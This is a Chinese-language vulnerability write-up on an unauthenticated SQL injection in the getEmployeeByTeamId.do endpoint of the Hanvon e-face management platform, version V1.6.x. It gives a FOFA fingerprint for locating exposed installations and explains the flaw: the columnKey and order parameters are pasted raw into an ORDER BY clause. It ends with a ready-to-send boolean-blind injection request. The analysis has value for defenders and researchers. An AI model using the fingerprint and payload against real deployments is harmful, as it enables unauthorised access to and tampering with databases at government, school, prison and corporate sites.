漏洞简介
汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 getEmployeeByTeamId.do 接口存在 SQL注入漏洞。攻击者可在无需认证的情况下,通过构造恶意请求参数注入恶意 SQL 语句,导致数据库信息泄露、数据篡改甚至系统权限提升,影响系统数据安全和完整性。
影响版本
V1.6.x
fofa语法
icon_hash="1380907357"
漏洞分析
直接看 PatrolTeamController 里关于 getEmployeeByTeamId 的实现
@RequestMapping(
value = {"getEmployeeByTeamId"},
method = {RequestMethod.GET}
)
@ResponseBody
public RequestJson getEmployeeByTeamId(Integer page, Integer pageSize, String name, Long teamId, @RequestParam(required = false) String order, @RequestParam(required = false) String columnKey) {
RequestJson result = new RequestJson();
try {
if (page == null) {
page = Constants.DEFAULT_START_PAGE_INDEX;
}
if (pageSize == null) {
pageSize = Constants.PAGE_SIZE;
}
PageHelper.startPage(page, pageSize);
UserInfoParam record = new UserInfoParam();
if (name != null) {
record.setKey(name);
}
record.setOrder(order);
record.setColumnKey(columnKey);
if (null == teamId) {
result.setSuccess(false);
result.setMsg("操作失败");
} else {
record.setTeamId(teamId);
List<PatrolTeamEmp> employeeList = this.patrolTeamBsm.getEmployeeByTeamId(record);
和 汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞 处理逻辑差不多,直接看对应的 mapper xml文件 PatrolTeamDsm.xml
<select id="getEmployeeByTeamId" parameterType="com.hanvon.iface.tpm.system.UserInfoParam" resultType="com.hanvon.iface.tpm.views.patrol.PatrolTeamEmp">
select ptu.ID,ptu.USER_ID as userId,su.sz_name name,su.sz_mobile phone
FROM PATROL_TEAM_USER ptu inner join sys_user su on ptu.USER_ID = su.ng_id
and ptu.TEAM_ID = #{teamId}
AND ptu.IF_IN = 1
<if test="teamId != null">
and ptu.TEAM_ID = #{teamId}
</if>
<if test="key != null and key != ''">
and su.sz_name like CONCAT('%',#{key}, '%')
</if>
order by
<if test="order == null or order == ''">
ptu.ID desc
</if>
<if test="order != null and order != ''">
${columnKey} ${order}
</if>
</select>
用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中,导致攻击者可构造恶意输入执行任意 SQL 命令,造成SQL注入漏洞。
漏洞复现
布尔盲注
GET /manage/patrolTeam/getEmployeeByTeamId.do?recoToken=67mds2pxXQb&page=1&pageSize=10&columnKey=ptu.ID+RLIKE+(SELECT+(CASE+WHEN+(5992%3d5992)+THEN+0x7074752e4944+ELSE+0x28+END))%23+EeIa&order=desc&id=2&startTime=2025-05-02&endTime=2025-05-03&communityId=1&planId=1&lineId=1&teamId=1&areaId=1 HTTP/1.1
Host: hanvon.mrxn.net

条件不等时

响应结果是不一样的


